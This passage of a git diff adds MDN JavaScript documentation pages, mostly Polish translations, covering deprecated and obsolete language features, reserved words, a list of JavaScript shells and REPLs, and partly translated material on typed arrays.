+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Property</th>
+ <th>Description</th>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.n", "$1-$9")}}</td>
+ <td>
+ <p>Parenthesized substring matches, if any.<br>
+ <strong>Warning:</strong> Using these properties can result in problems, since browser extensions can modify them. Avoid them!</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.input", "$_")}}</td>
+ <td>See <code>input</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.multiline", "$*")}}</td>
+ <td>See <code>multiline</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.lastMatch", "$&amp;")}}</td>
+ <td>See <code>lastMatch</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.lastParen", "$+")}}</td>
+ <td>See <code>lastParen</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.leftContext", "$`")}}</td>
+ <td>See <code>leftContext</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.rightContext", "$'")}}</td>
+ <td>See <code>rightContext</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.input", "input")}}</td>
+ <td>The string against which a regular expression is matched.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.lastMatch", "lastMatch")}}</td>
+ <td>The last matched characters.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.lastParen", "lastParen")}}</td>
+ <td>The last parenthesized substring match, if any.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.leftContext", "leftContext")}}</td>
+ <td>The substring preceding the most recent match.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.rightContext", "rightContext")}}</td>
+ <td>The substring following the most recent match.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>The following are now properties of <code>RegExp</code> instances, no longer of the <code>RegExp</code> object:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Property</th>
+ <th>Description</th>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.global", "global")}}</td>
+ <td>Whether or not to test the regular expression against all possible matches in a string, or only against the first.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.ignoreCase", "ignoreCase")}}</td>
+ <td>Whether or not to ignore case while attempting a match in a string.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.lastIndex", "lastIndex")}}</td>
+ <td>The index at which to start the next match.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.multiline", "multiline")}}</td>
+ <td>Whether or not to search in strings across multiple lines.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.source", "source")}}</td>
+ <td>The text of the pattern.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="RegExp_methods">RegExp methods</h3>
+
+<ul>
+ <li>The {{jsxref("RegExp.compile", "compile()")}} method is deprecated.</li>
+ <li>The <code>valueOf</code> method is no longer specialized for <code>RegExp</code>. Use {{jsxref("Object.valueOf()")}}.</li>
+</ul>
+
+<h3 id="Function_properties">Function properties</h3>
+
+<ul>
+ <li>The {{jsxref("Global_Objects/Function/caller", "caller")}} and {{jsxref("Global_Objects/Function/arguments", "arguments")}} properties are deprecated, because they leak the function caller. Instead of the arguments property, you should use the {{jsxref("Functions/arguments", "arguments")}} object inside function closures.</li>
+</ul>
+
+<h3 id="Legacy_generator">Legacy generator</h3>
+
+<ul>
+ <li>{{jsxref("Statements/Legacy_generator_function", "Legacy generator function statement")}} and {{jsxref("Operators/Legacy_generator_function", "Legacy generator function expression")}} are deprecated. Use {{jsxref("Statements/function*", "function* statement")}} and {{jsxref("Operators/function*", "function* expression")}} instead.</li>
+ <li>{{jsxref("Operators/Array_comprehensions", "JS1.7/JS1.8 Array comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} and {{jsxref("Operators/Generator_comprehensions", "JS1.7/JS1.8 Generator comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} are deprecated.</li>
+</ul>
+
+<h3 id="Iterator">Iterator</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/StopIteration", "StopIteration")}} is deprecated.</li>
+ <li>{{jsxref("Global_Objects/Iterator", "Iterator")}} is deprecated.</li>
+</ul>
+
+<h3 id="Object_methods">Object methods</h3>
+
+<ul>
+ <li>{{jsxref("Object.watch", "watch")}} and {{jsxref("Object.unwatch", "unwatch")}} are deprecated. Use {{jsxref("Proxy")}} instead.</li>
+ <li><code>__iterator__</code> is deprecated.</li>
+ <li>{{jsxref("Object.noSuchMethod", "__noSuchMethod__")}} is deprecated. Use {{jsxref("Proxy")}} instead.</li>
+</ul>
+
+<h3 id="Date_methods">Date methods</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Date/getYear", "getYear")}} and {{jsxref("Global_Objects/Date/setYear", "setYear")}} are affected by the Year-2000-Problem and have been subsumed by {{jsxref("Global_Objects/Date/getFullYear", "getFullYear")}} and {{jsxref("Global_Objects/Date/setFullYear", "setFullYear")}}.</li>
+ <li>You should use {{jsxref("Global_Objects/Date/toISOString", "toISOString")}} instead of the deprecated {{jsxref("Global_Objects/Date/toGMTString", "toGMTString")}} method in new code.</li>
+ <li>{{jsxref("Global_Objects/Date/toLocaleFormat", "toLocaleFormat")}} is deprecated.</li>
+</ul>
+
+<h3 id="Functions">Functions</h3>
+
+<ul>
+ <li>{{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}} are deprecated. Use regular {{jsxref("Operators/function", "functions")}} or {{jsxref("Functions/Arrow_functions", "arrow functions", "", 1)}} instead.</li>
+</ul>
+
+<h3 id="Proxy">Proxy</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.create</a> and <a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.createFunction</a> are deprecated. Use {{jsxref("Proxy")}} instead.</li>
+ <li>The following traps are obsolete:
+ <ul>
+ <li><code>hasOwn</code> ({{bug(980565)}}, Firefox 33).</li>
+ <li><code>getEnumerablePropertyKeys</code> ({{bug(783829)}}, Firefox 37)</li>
+ <li><code>getOwnPropertyNames</code> ({{bug(1007334)}}, Firefox 33)</li>
+ <li><code>keys</code> ({{bug(1007334)}}, Firefox 33)</li>
+ </ul>
+ </li>
+</ul>
+
+<h3 id="Escape_sequences">Escape sequences</h3>
+
+<ul>
+ <li>Octal escape sequences (\ followed by one, two, or three octal digits) are deprecated in string and regular expression literals.</li>
+ <li>The {{jsxref("Global_Objects/escape", "escape")}} and {{jsxref("Global_Objects/unescape", "unescape")}} functions are deprecated. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}}, {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}}, {{jsxref("Global_Objects/decodeURI", "decodeURI")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} to encode and decode escape sequences for special characters.</li>
+</ul>
+
+<h3 id="String_methods">String methods</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/tag/HTML%20wrapper%20methods">HTML wrapper methods</a> like {{jsxref("String.prototype.fontsize")}} and {{jsxref("String.prototype.big")}}.</li>
+ <li>{{jsxref("String.prototype.quote")}} is removed from Firefox 37.</li>
+ <li>non standard <code>flags</code> parameter in {{jsxref("String.prototype.search")}}, {{jsxref("String.prototype.match")}}, and {{jsxref("String.prototype.replace")}} are deprecated.</li>
+</ul>
+
+<h2 id="Obsolete_features">Obsolete features</h2>
+
+<p>These obsolete features have been entirely removed from JavaScript and can no longer be used as of the indicated version of JavaScript.</p>
+
+<h3 id="Object">Object</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Property</th>
+ <th>Description</th>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Object/count", "__count__")}}</td>
+ <td>Returns the number of enumerable properties directly on a user-defined object.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Object/Parent", "__parent__")}}</td>
+ <td>Points to an object's context.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}</td>
+ <td>Evaluates a string of JavaScript code in the context of the specified object.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.observe()")}}</td>
+ <td>Asynchronously observing the changes to an object.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.unobserve()")}}</td>
+ <td>Remove observers.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.getNotifier()")}}</td>
+ <td>Creates an object that allows to synthetically trigger a change.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Function">Function</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Property</th>
+ <th>Description</th>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Function/arity", "arity")}}</td>
+ <td>Number of formal arguments.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Array">Array</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td>Property</td>
+ <td>Description</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Array.observe()")}}</td>
+ <td>Asynchronously observing changes to Arrays.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Array.unobserve()")}}</td>
+ <td>Remove observers.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Number">Number</h3>
+
+<ul>
+ <li>{{jsxref("Number.toInteger()")}}</li>
+</ul>
+
+<h3 id="ParallelArray">ParallelArray</h3>
+
+<ul>
+ <li>{{jsxref("ParallelArray")}}</li>
+</ul>
+
+<h3 id="Statements">Statements</h3>
+
+<ul>
+ <li>{{jsxref("Statements/for_each...in", "for each...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li>
+ <li>Destructuring {{jsxref("Statements/for...in", "for...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li>
+ <li>let blocks and let expressions are obsolete.</li>
+</ul>
+
+<h3 id="E4X">E4X</h3>
+
+<p>See <a href="/en-US/docs/Archive/Web/E4X">E4X</a> for more information.</p>
+
+<h3 id="Sharp_variables">Sharp variables</h3>
+
+<p>See <a href="/en-US/docs/Archive/Web/Sharp_variables_in_JavaScript">Sharp variables in JavaScript</a> for more information.</p>
diff --git a/files/pl/web/javascript/referencje/słowa_zarezerwowane/index.html b/files/pl/web/javascript/referencje/słowa_zarezerwowane/index.html
new file mode 100644
index 0000000000..b190262a84
--- /dev/null
+++ b/files/pl/web/javascript/referencje/słowa_zarezerwowane/index.html
@@ -0,0 +1,17 @@
+---
+title: Słowa zarezerwowane
+slug: Web/JavaScript/Referencje/Słowa_zarezerwowane
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords
+---
+<p> </p>
+<p>Słowa zarezerwowane nie mogą być używane jako nazwy zmiennych, funkcji, metod ani obiektów języka JavaScript. Niektóre z nich są słowami kluczowymi języka JavaScript, inne zarezerwowano do przyszłych zastosowań.</p>
+<ul> <li><code>abstract</code></li> <li><code>boolean</code></li> <li><code>break</code></li> <li><code>byte</code></li> <li><code>case</code></li> <li><code>catch</code></li> <li><code>char</code></li> <li><code>class</code></li> <li><code>const</code></li> <li><code>continue</code></li> <li><code>debugger</code></li> <li><code>default</code></li> <li><code>delete</code></li> <li><code>do</code></li> <li><code>double</code></li> <li><code>else</code> <code>enum</code> <code>export</code> <code>extends</code> <code>false</code> <code>final</code> <code>finally</code> <code>float</code> <code>for</code> <code>function</code> <code>goto</code> <code>if</code> <code>implements</code> <code>import</code> <code>in</code></li> <li><code>instanceof</code> <code>int</code> <code>interface</code> <code>long</code> <code>native</code> <code>new</code> <code>null</code> <code>package</code> <code>private</code> <code>protected</code> <code>public</code> <code>return</code> <code>short</code> <code>static</code> <code>super</code></li> <li><code>switch</code> <code>synchronized</code> <code>this</code> <code>throw</code> <code>throws</code> <code>transient</code> <code>true</code> <code>try</code> <code>typeof</code> <code>var</code> <code>void</code> <code>volatile</code> <code>while</code> <code>with</code></li>
+</ul>
+<p> </p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Reserved_Words", "es": "es/Referencia_de_JavaScript_1.5/Palabras_Reservadas", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Mots_r\u00e9serv\u00e9s", "ja": "ja/Core_JavaScript_1.5_Reference/Reserved_Words" } ) }}</p>
diff --git a/files/pl/web/javascript/shells/index.html b/files/pl/web/javascript/shells/index.html
new file mode 100644
index 0000000000..67356169f7
--- /dev/null
+++ b/files/pl/web/javascript/shells/index.html
@@ -0,0 +1,42 @@
+---
+title: Powłoki JavaScript
+slug: Web/JavaScript/Shells
+translation_of: Web/JavaScript/Shells
+---
+<div>{{JsSidebar}}</div>
+
+<p> </p>
+
+<p>Powłoki JavaScript pozwalają szybko przetestować fragmenty kodu  <a href="/en-US/docs/Web/JavaScript">JavaScript</a> bez konieczności ponownego ładowania strony internetowej. Są niezwykle przydatne przy tworzeniu i debugowaniu kodu.</p>
+
+<h2 id="Samodzielne_powłoki_JavaScript">Samodzielne powłoki JavaScript</h2>
+
+<p>Następujące powłoki JavaScript są samodzielnymi środowiskami, takimi jak Perl lub Python.</p>
+
+<ul>
+ <li><a href="http://nodejs.org/">Node.js</a> - Node.js to platforma do łatwego budowania szybkich, skalowalnych aplikacji sieciowych.</li>
+ <li><a class="external" href="http://www.jsdb.org/">JSDB</a> - samodzielna powłoka JavaScript z kompilowanymi binariami dla systemów Windows, Mac i Linux.</li>
+ <li><a class="external" href="http://javalikescript.free.fr/">JavaLikeScript</a> - samodzielna, rozszerzalna powłoka JavaScript, zawierająca zarówno biblioteki natywne, jak i JavaScript.</li>
+ <li><a class="external" href="http://gluescript.sourceforge.net/">GLUEscript</a> - samodzielna powłoka JavaScript do pisania międzyplatformowych aplikacji JavaScript. Może używać wxWidgets dla aplikacji GUI i był wcześniej nazywany wxJavaScript.</li>
+ <li><a class="external" href="http://jspl.msg.mx/">jspl</a> - samodzielna powłoka JavaScript rozszerzona przez Perl. Może korzystać z modułów Perla bezpośrednio z JavaScript: DBI do integracji z bazą danych, GTK2 do aplikacji GUI, POSIX do programowania systemów itp. Obecnie najlepsze z CPAN dla programistów JavaScript.</li>
+ <li><a class="external" href="http://shelljs.org">ShellJS</a> - Przenośne polecenia powłoki Unix dla Node.js</li>
+</ul>
+
+<h2 id="Lista_powłok_JavaScript">Lista powłok JavaScript</h2>
+
+<p>Następujące powłoki JavaScript działają z Mozillą.</p>
+
+<ul>
+ <li>Firefox ma wbudowaną konsolę JavaScript o nazwie <a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a>, począwszy od wersji 6.</li>
+ <li><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell">JavaScript Shell</a> (<code>js</code>) - interpreter wiersza poleceń dla JavaScript</li>
+ <li><a href="/en-US/docs/Mozilla/XPConnect/xpcshell">xpcshell</a> to powłoka z obsługą  <a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_bindings/XPConnect">XPConnect</a>, przydatna czasem przy rozwoju Mozilli.</li>
+ <li><a class="external" href="http://babeljs.io/repl">Babel REPL</a> - <a href="https://en.wikipedia.org/wiki/REPL">REPL</a> oparty na przeglądarce do eksperymentowania z <u>przyszłym</u> JavaScript.</li>
+ <li><a class="external" href="http://es6console.com">ES6Console.com</a> - konsola JavaScript o otwartym kodzie źródłowym do testowania kodu ECMAScript 2015 w przeglądarce.</li>
+ <li><a class="external" href="http://jsconsole.com/">jsconsole.com</a> - konsola JavaScript o otwartym kodzie źródłowym z możliwością łatwego łączenia się do określonych wyrażeń</li>
+ <li><a class="external" href="http://www.squarefree.com/shell/">JavaScript Shell (strona internetowa)</a> - dostępna również w ramach rozszerzenia<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434"> Developer's Extension</a></li>
+ <li><a class="external" href="http://www.billyreisinger.com/jash/">Jash: JavaScript Shell</a> - powłoka oparta na DHTML, która zapewnia dostęp do strony internetowej z linii poleceń.</li>
+ <li><a class="external" href="http://hyperstruct.net/projects/mozrepl">MozRepl</a> - połącz się z Firefoksem i innymi aplikacjami Mozilli, przeglądaj i modyfikuj je od środka, gdy są uruchomione.</li>
+ <li><a class="external link-https" href="https://addons.mozilla.org/en-US/firefox/addon/execute-js/">Execute JS</a> - (nie jest już wspierane) - rozszerzenie Firefox, które dostarcza rozszerzoną konsolę JavaScript, w której możesz wygodnie wprowadzać i uruchamiać dowolny kod JavaScript i modyfikować funkcje.</li>
+ <li><a class="external link-https" href="https://addons.mozilla.org/addon/159546">xqjs</a> - prosta konsola dla Firefoksa.</li>
+ <li><a class="external link-https" href="https://addons.mozilla.org/en-US/firefox/addon/firebug/">Firebug</a> - narzędzia dla programistów dla Firefoksa, w tym konsola.</li>
+</ul>
diff --git a/files/pl/web/javascript/typed_arrays/index.html b/files/pl/web/javascript/typed_arrays/index.html
new file mode 100644
index 0000000000..a9ede19c94
--- /dev/null
+++ b/files/pl/web/javascript/typed_arrays/index.html
@@ -0,0 +1,277 @@
+---
+title: Tablice reprezentujące typy JavaScript
+slug: Web/JavaScript/Typed_arrays
+translation_of: Web/JavaScript/Typed_arrays
+---
+<div>
+<div>{{JsSidebar("Advanced")}}</div>
+</div>
+
+<p>Jako, że aplikacje internetowe stają się coraz bardziej potężne, zapewniając takie możliwości jak chociażby manipulacja audio i wideo, dostęp do surowych danych używając WebSocket, i tak dalej, stało się jasne, że są sytuacje, w których przydałoby się, żeby kod JavaScript był w stanie szybko i łatwo manipulować surowymi danymi binarnymi. W przeszłości, musiało być to symulowane przez traktowanie surowych danych jako <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global Objects/String">string</a> i używanie metody <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/charCodeAt" title="JavaScript/Reference/Global Objects/String/charCodeAt">charCodeAt()</a>,</code> aby przeczytać bajty z buforu danych.</p>
+
+<p>Jakkolwiek, jest to wolne i podatne na błędy, ze względu na potrzebę wielu konwersji (szczególnie jeśli dane binarne nie są tak naprawdę danymi w formacie bajtów, ale, na przykład, 32-bitowymi liczbami całkowitymi lub zmiennoprzecinkowymi).</p>
+
+<p>Tablice zawierające typy JavaScript zapewniają mechanizm dostępu do danych binarnych dużo bardziej wydajnie.</p>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Documentation" name="Documentation">Dokumentacja</h2>
+
+ <dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a></dt>
+ <dd>The <code>ArrayBuffer</code> is a data type that is used to represent a generic, fixed-length binary data buffer. You can't directly manipulate the contents of an <code>ArrayBuffer</code>; instead, you create an <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView" title="en/JavaScript typed arrays/ArrayBufferView"><code>ArrayBufferView</code></a> object which represents the buffer in a specific format, and use that to read and write the contents of the buffer.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView"><code>ArrayBufferView</code></a></dt>
+ <dd>The <code>ArrayBufferView</code> type describes a particular view on the contents of an <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer">ArrayBuffer</a>'s data. Of note is that you may create multiple views into the same buffer, each looking at the buffer's contents starting at a particular offset. This makes it possible to set up views of different data types to read the contents of a buffer based on the types of data at specific offsets into the buffer</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/DataView" title="/en-US/docs/Web/JavaScript/Typed_arrays/DataView"><code>DataView</code></a></dt>
+ <dd>
+ <p>The <code>DataView</code> view provides a low-level interface for reading data from and writing it to an <code><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="en/JavaScript_typed_arrays/ArrayBuffer">ArrayBuffer</a></code>.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> <span class="inlineIndicator" style="font-weight: normal;" title="This API is not native.">Non native</span></dt>
+ <dd>In this article is published a library of ours whose aims are:
+ <ul>
+ <li>creating a <strong><a href="http://en.wikipedia.org/wiki/C_%28programming_language%29">C</a>-like interface for strings</strong> (i.e. array of characters codes — an<a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView"> <code>ArrayBufferView</code></a> in JavaScript) based upon the JavaScript <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a> interface,</li>
+ <li>creating an <strong>highly scalable</strong> library, that anyone can extend by adding methods to the object <code>StringView.prototype</code>,</li>
+ <li>creating a collection of methods for such string-like objects (since now: <code>stringView</code>s) which <strong>work strictly on arrays of numbers</strong> rather than on creating new immutable JavaScript strings,</li>
+ <li><strong>working with other Unicode encodings</strong> different from default JavaScript's UTF-16 {{domxref("DOMString")}}s,</li>
+ </ul>
+ </dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Getting <code>ArrayBuffer</code>s or typed arrays from <em>Base64</em>-encoded strings</a></dt>
+ <dd>Code snippets to get <code>ArrayBuffer</code>s or typed arrays from <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding" title="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding"><em>Base64</em>-encoded</a> strings.</dd>
+ <dt><a href="/en-US/docs/Web/API/FileReader#readAsArrayBuffer()" title="/en-US/docs/Web/API/FileReader#readAsArrayBuffer()"><code>FileReader.prototype.readAsArrayBuffer()</code></a></dt>
+ <dd>The <code>FileReader.prototype.readAsArrayBuffer()</code> method starts reading the contents of the specified <a href="/en-US/docs/Web/API/Blob" title="/en-US/docs/DOM/Blob"><code>Blob</code></a> or <a href="/en-US/docs/Web/API/File" title="/en-US/docs/DOM/File"><code>File</code></a>.</dd>
+ <dt><a href="/en-US/docs/Web/API/XMLHttpRequest#send()" title="/en-US/docs/Web/API/XMLHttpRequest#send()"><code>XMLHttpRequest.prototype.send()</code></a></dt>
+ <dd><code>XMLHttpRequest</code> instances' <code>send()</code> method now supports typed arrays and <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a>s as argument.</dd>
+ </dl>
+
+ <p><span class="alllinks"><a href="/en-US/docs/tag/JavaScript%20typed%20arrays" title="tag/JavaScript%20typed%20arrays">View All...</a></span></p>
+ </td>
+ <td>
+ <h2 class="Community" id="Community" name="Community">Społeczność</h2>
+
+ <ul>
+ <li>Zobacz forum Mozilla... {{ DiscussionList("dev-web-development", "mozilla.dev.web.development") }}</li>
+ </ul>
+
+ <h2 class="Tools" id="Tools" name="Tools">Narzędzia</h2>
+
+ <ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Getting <code>ArrayBuffer</code>s or typed arrays from <em>Base64</em>-encoded strings</a></li>
+ <li><a href="/en-US/docs/Code_snippets/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+ </ul>
+
+ <p><span class="alllinks"><a href="/en-US/docs/tag/JavaScript%20typed%20arrays:Tools" title="tag/JavaScript%20typed%20arrays:Tools">View All...</a></span></p>
+
+ <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Powiązane tematy</h2>
+
+ <ul>
+ <li><a href="/en-US/docs/Web/API/File" title="/en-US/docs/DOM/File"><code>File</code></a></li>
+ <li><code><a href="/en-US/docs/Web/API/Blob" title="/en-US/docs/DOM/Blob">Blob</a></code></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Bufory_i_widoki_struktura_tablic_reprezentujących_typy">Bufory i widoki: struktura tablic reprezentujących typy</h2>
+
+<p>To achieve maximum flexibility and efficiency, JavaScript typed arrays split the implementation into a <strong>buffer</strong> and a <strong>view</strong>. A buffer (implemented by the <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a> class) is an object representing a chunk of data; it has no format to speak of, and offers no mechanism for accessing its contents. In order to access the memory contained in a buffer, you need to use a view. A view provides a context—that is, a data type, starting offset, and number of elements—that turns the data into an actual typed array. Views are implemented by the <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBufferView" title="JavaScript typed arrays/ArrayBufferView"><code>ArrayBufferView</code></a> class and its subclasses.</p>
+
+<h2 id="Podklasy_tablic_reprezentujących_typy">Podklasy tablic reprezentujących typy</h2>
+
+<p>The following subclasses provide buffer views allowing access to the data in specific data types. Note that the classes that work with more than one byte (e.g. Int16Array) use the platform byte order. If control over byte order is needed, use DataView instead.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Typ</td>
+ <td class="header">Rozmiar</td>
+ <td class="header">Opis</td>
+ <td class="header">Odpowiednik C</td>
+ </tr>
+ <tr>
+ <td><a href="/en/JavaScript_typed_arrays/Int8Array" title="en/JavaScript typed arrays/Int8Array"><code>Int8Array</code></a></td>
+ <td>1</td>
+ <td>8-bitowa liczba całkowita ze znakiem w zapisie dopełnienia do dwóch</td>
+ <td><code>signed char</code></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en/JavaScript_typed_arrays/Uint8Array" title="en/JavaScript typed arrays/Uint8Array">Uint8Array</a></code></td>
+ <td>1</td>
+ <td>8-bitowa liczba całkowita bez znaku</td>
+ <td><code>unsigned char</code></td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/JavaScript/Typed_arrays/Uint8ClampedArray" title="/en-US/docs/JavaScript/Typed_arrays/Uint8ClampedArray"><code>Uint8ClampedArray</code></a></td>
+ <td>1</td>
+ <td>8-bitowa liczba całkowita bez znaku</td>
+ <td><code>unsigned char</code></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en/JavaScript_typed_arrays/Int16Array" title="en/JavaScript typed arrays/Int16Array">Int16Array</a></code></td>
+ <td>2</td>
+ <td>16-bitowa liczba całkowita ze znakiem w zapisie dopełnienia do dwóch</td>
+ <td><code>short</code></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en/JavaScript_typed_arrays/Uint16Array" title="en/JavaScript typed arrays/Uint16Array">Uint16Array</a></code></td>
+ <td>2</td>
+ <td>16-bitowa liczba całkowita bez znaku</td>
+ <td><code>unsigned short</code></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en/JavaScript_typed_arrays/Int32Array" title="en/JavaScript typed arrays/Int32Array">Int32Array</a></code></td>
+ <td>4</td>
+ <td>32-bitowa liczba całkowita ze znakiem w zapisie dopełnienia do dwóch</td>
+ <td><code>int</code></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en/JavaScript_typed_arrays/Uint32Array" title="en/JavaScript typed arrays/Uint32Array">Uint32Array</a></code></td>
+ <td>4</td>
+ <td>32-bitowa liczba całkowita bez znaku</td>
+ <td><code>unsigned int</code></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en/JavaScript_typed_arrays/Float32Array" title="en/JavaScript typed arrays/Float32Array">Float32Array</a></code></td>
+ <td>4</td>
+ <td>32-bitowa liczba zmiennoprzecinkowa IEEE</td>
+ <td><code>float</code></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en/JavaScript_typed_arrays/Float64Array" title="en/JavaScript typed arrays/Float64Array">Float64Array</a></code></td>
+ <td>8</td>
+ <td>64-bitowa liczba zmiennoprzecinkowa IEEE</td>
+ <td><code>double</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Superklasy_tablic_reprezentujących_typy">Superklasy tablic reprezentujących typy</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Typ</td>
+ <td class="header">Opis</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/JavaScript/Typed_arrays/DataView" title="/en-US/docs/Web/JavaScript/Typed_arrays/DataView"><code>DataView</code></a></td>
+ <td>The <code>DataView</code> view provides a low-level interface for reading data from and writing it to an <code><a href="https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript_typed_arrays/ArrayBuffer">ArrayBuffer</a></code>.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> <span class="inlineIndicator" title="This API is not native.">Non native</span></td>
